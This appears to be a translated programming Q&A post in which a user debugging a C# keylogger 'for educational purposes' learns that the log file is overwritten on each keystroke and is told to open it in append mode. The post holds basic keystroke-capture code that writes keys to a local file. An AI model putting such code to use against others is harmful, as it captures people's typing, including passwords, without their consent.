为什么只记录一次?
问题描述:
你好,我为教育目的创建简单的键盘记录器和我偶然发现了错误,我不知道如何解决为什么只记录一次?
static void WriteLogs(char key)
{
StreamWriter file = new StreamWriter(@"C:\Users\Bartek\Desktop\asynckey test\asynckey test\test.txt");
file.Write(key);
file.Close();
}
static void CatchKeys()
{
char key;
while (true)
{
Thread.Sleep(20);
for (key = (char)8; key <= 190; key++)
{
if (GetAsyncKeyState((System.Windows.Forms.Keys)key) == -32768)
{
Console.WriteLine("Logging");
WriteLogs(key);
}
}
}
}
它记录只有1个字符的文件,然后继续循环,但不记录
答
会转而追加覆盖的:
StreamWriter file = new StreamWriter(
@"C:\Users\Bartek\Desktop\asynckey test\asynckey test\test.txt",
true); // <- appending instead of recreating
你覆盖每一次文件。 – juharr